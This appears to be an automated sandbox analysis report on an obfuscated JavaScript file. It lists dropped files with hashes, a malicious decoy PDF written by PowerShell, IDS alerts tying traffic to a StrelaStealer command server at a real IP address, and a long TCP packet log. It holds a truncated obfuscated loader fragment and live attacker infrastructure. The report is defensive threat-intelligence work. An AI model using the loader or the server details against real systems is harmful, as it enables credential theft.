SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9bed2807-51ff-4440-91cb-e9915fb7262c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\cc49f85d-994a-43cb-ad37-25a8250d8a02.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17909), with CRLF line terminators
Entropy (8bit):	4.898940463136729
TrID:
File name:	2445839083247016653.js
File size:	21'536 bytes
MD5:	bcec8a5a093c46ebf5c76ef8c3f16f7a
SHA1:	c62151e6015c815a4f575c0502926c0735fb6e3b
SHA256:	c4a30d4efa5268d868f007a6e5323a1a43dd61c900508effb0d857327bc99947
SHA512:	04ce2fd5570fb9843b87887dae89ea39ba6fbb31bef15ca371ebab72049932aceceebfbf98d3775bd43bb1c609b69217134571ae11b881549f3f58fe97bcfc6d
SSDEEP:	384:mbYK4jPzbVdFnZ1oKptizXCrxEUY5H0I15Q1:mbYvPzbVdFDcCrxEUYB5Y
TLSH:	72A275D9D0EA8B2F7DF983F187A509601ACA03CD9394A1E554273F5466183FFE8E18B4
File Content Preview:	function mosabom(){pgblo=[1031,3079,5127,4103,2055,3072];var mdrpoh=this[crdck+ktjtjuq+yeezvcqdv+jramjh+eltascwrb+aiqrrvv+lybikfs+ycfxtvepy](this[cqabdb+szzinaj+tphleb+yeezvcqdv+fefnrq+crdck+ycfxtvepy][niujxwamj+yeezvcqdv+eltascwrb+ktjtjuq+ycfxtvepy+eltas

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:34:54.811084+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:34:54.811084+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:34:57.376334+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:34:54.026335001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.031270027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.031371117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.034141064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.038990974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.810988903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811007977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811031103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811042070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811065912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811084032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.811120987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.811122894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811135054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811172009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.811227083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811239004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811259031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.811265945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.811296940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.816035032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.816085100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.816317081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.853981972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.854007006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.854034901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.854095936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.907627106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.928503990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928530931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928551912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928567886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928575039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.928617954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.928647041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928670883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928706884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.928911924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928924084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928947926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928957939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.928966999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.928997040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.929517031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.929543018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.929553986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.929559946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.929583073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.929591894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.930386066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.930397987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.930421114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.930433989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.930457115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.940203905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940222025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940256119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940269947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940272093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.940303087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.940568924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940581083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940608025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.940624952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:54.971445084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.971463919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:54.971524000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.015136003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.015151024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.015189886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.046355009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046376944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046397924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046411991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046446085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046456099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046570063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046636105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046650887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046664000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.046802998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.047082901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047122002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.047132969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047156096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047168016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047187090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047190905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.047209024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.047223091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048022032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048048019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048063040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048084974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048096895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048115969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048120022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048132896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048151016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048158884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048213959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048861027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048917055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048928976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048954964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048957109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.048971891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048994064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.048994064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.049011946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.049027920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.049937010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.049951077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.049973011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.049978971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.049984932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050008059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050017118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.050020933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050045967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.050046921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050088882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.050736904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050800085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050812960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050833941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050843000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.050846100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050865889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.050874949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.050908089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.102108002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.102128029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.102150917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.102160931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.102183104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.102200985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.102253914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.133081913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.133106947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.133136988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.163773060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163794041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163820982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163842916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163851023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.163855076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163876057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.163888931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.163927078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164210081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164233923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164247036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164249897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164274931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164279938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164292097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164326906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164846897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164860010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164885044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164896011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164908886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164921999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164940119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164956093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.164959908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.164985895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.165903091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165905952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165909052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165935040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165946007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165961027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.165961981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165986061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.165992022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.166028976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.166841984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166852951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166887999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166897058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.166898012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166919947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166929960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166945934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.166949987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.166973114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.167736053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167751074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167772055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167779922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.167783022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167807102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167809963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.167819977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167836905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.167846918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.167875051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.168721914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168735981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168756008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168766975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168773890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.168792009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168802977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168812037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.168826103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.168848991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.169549942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169562101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169588089 CET	80	49709	193.143.1.205	192.168.2.6
